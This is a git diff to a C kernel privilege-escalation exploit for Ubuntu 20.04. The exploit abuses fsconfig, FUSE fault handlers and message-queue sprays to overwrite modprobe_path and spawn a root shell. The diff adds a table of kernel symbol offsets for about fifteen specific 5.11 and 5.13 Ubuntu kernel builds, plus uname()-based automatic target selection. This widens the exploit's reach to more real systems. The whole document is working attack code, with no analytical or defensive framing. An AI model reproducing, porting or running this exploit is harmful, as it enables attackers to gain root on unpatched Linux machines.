diff --git a/exploit_fuse.c b/exploit_fuse.c index 012c42b..0d754f0 100644 --- a/exploit_fuse.c +++ b/exploit_fuse.c @@ -1,6 +1,7 @@ #define _GNU_SOURCE #include #include +#include #include #include #include @@ -10,20 +11,42 @@ #include "fakefuse.h" int fd = -1; +int kernel = -1; +uint64_t modprobe_path = -1; -uint64_t modprobe_path; -uint64_t offsets[] = {0x3400b0, 0x1c6c2e0}; -enum {SINGLE_START = 0, MODPROBE}; - -void debug() +void debug() { puts("Paused..."); getchar(); } +struct kernel_info { + const char* kernel_version; + uint64_t single_start; + uint64_t modprobe_path; +}; + +struct kernel_info kernels[] = { + {"5.11.0-22-generic #23~20.04.1-Ubuntu", 0x33ceb0, 0x166c2c0}, + {"5.11.0-25-generic #27~20.04.1-Ubuntu", 0x33d390, 0x166c2e0}, + {"5.11.0-27-generic #29~20.04.1-Ubuntu", 0x33d390, 0x166c2e0}, + {"5.11.0-34-generic #36~20.04.1-Ubuntu", 0x33e740, 0x166c340}, + {"5.11.0-36-generic #40~20.04.1-Ubuntu", 0x33e740, 0x166c340}, + {"5.11.0-37-generic #41~20.04.2-Ubuntu", 0x33eae0, 0x166c340}, + {"5.11.0-38-generic #42~20.04.1-Ubuntu", 0x33f400, 0x166c340}, + {"5.11.0-40-generic #44~20.04.2-Ubuntu", 0x33f980, 0x1c6c2e0}, + {"5.11.0-41-generic #45~20.04.1-Ubuntu", 0x33fdb0, 0x1c6c2e0}, + {"5.11.0-43-generic #47~20.04.2-Ubuntu", 0x33fdb0, 0x1c6c2e0}, + {"5.11.0-44-generic #48~20.04.2-Ubuntu", 0x3400b0, 0x1c6c2e0}, + {"5.13.0-21-generic #21~20.04.1-Ubuntu", 0x34adc0, 0x1e6e060}, + {"5.13.0-22-generic #22~20.04.1-Ubuntu", 0x34b280, 0x1e6e060}, + {"5.13.0-23-generic #23~20.04.2-Ubuntu", 0x34b270, 0x1e6e0a0}, + {"5.13.0-25-generic #26~20.04.1-Ubuntu", 0x34b330, 0x1e6e0a0}, +}; + uint64_t do_check_leak(char *buf) { - uint64_t kbase = ((uint64_t *)buf)[510] - offsets[SINGLE_START]; + uint64_t kbase = ((uint64_t *)buf)[510] - kernels[kernel].single_start; if (kbase & 0x1fffff || kbase == 0 || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) { return 0; } @@ -153,7 +176,7 @@ void do_win() fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } - puts("[*] Prepaing fault handlers via FUSE"); + puts("[*] Preparing fault handlers via FUSE"); int evil_fd = open("evil/evil", O_RDWR); if (evil_fd < 0) { @@ -253,10 +276,43 @@ static const struct fuse_operations evil_ops = { .read = evil_read, }; +struct utsname get_kernel_version() { + struct utsname u; + int rv = uname(&u); + if (rv != 0) { + puts("[-] uname()"); + exit(-1); + } + return u; +} + +int select_target() { + struct utsname u; + char kernel_version[512]; + + u = get_kernel_version(); + char *u_ver = strtok(u.version, " "); + snprintf(kernel_version, sizeof(kernel_version), "%s %s", u.release, u_ver); + + int i; + for (i = 0; i < ARRAY_SIZE(kernels); i++) { + if (strcmp(kernel_version, kernels[i].kernel_version) == 0) { + return i; + } + } + + printf("[-] No offsets for kernel version '%s'\n", kernel_version); + return -1; +} + char *fargs_evil[] = {"exploit", "evil", NULL }; int main(int argc, char **argv, char **envp) { + kernel = select_target(); + if (kernel == -1) + return 1; + fargs_evil[0] = argv[0]; unshare_setup(getuid(), getgid()); mkdir(MNT_PATH, 0777); @@ -276,7 +332,7 @@ int main(int argc, char **argv, char **envp) kbase = do_leak(); } printf("[*] Kernel base 0x%lx\n", kbase); - modprobe_path = (uint64_t)(kbase + (offsets[MODPROBE])); + modprobe_path = (uint64_t)(kbase + (kernels[kernel].modprobe_path)); printf("[*] modprobe_path: 0x%lx\n", modprobe_path); spray_4k(30); @@ -300,4 +356,4 @@ int main(int argc, char **argv, char **envp) puts("[+] Popping shell"); execve(SHELL, root_argv, NULL); return 0; -} \ No newline at end of file +} diff --git a/util.h b/util.h index 55700bd..832bba2 100644 --- a/util.h +++ b/util.h @@ -30,6 +30,7 @@ #define FSCONFIG_SET_STRING 1 #define fsopen(name, flags) syscall(__NR_fsopen, name, flags) #define fsconfig(fd, cmd, key, value, aux) syscall(__NR_fsconfig, fd, cmd, key, value, aux) +#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) extern char *modprobe_win; extern char *modprobe_trigger; @@ -56,4 +57,4 @@ void hexprint(char *buffer, unsigned int bytes); int32_t make_queue(key_t key, int msgflg); ssize_t get_msg_no_err(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); ssize_t get_msg(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); -void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg); \ No newline at end of file +void send_msg(int msqid, void *msgp, size_t msgsz, int msgflg);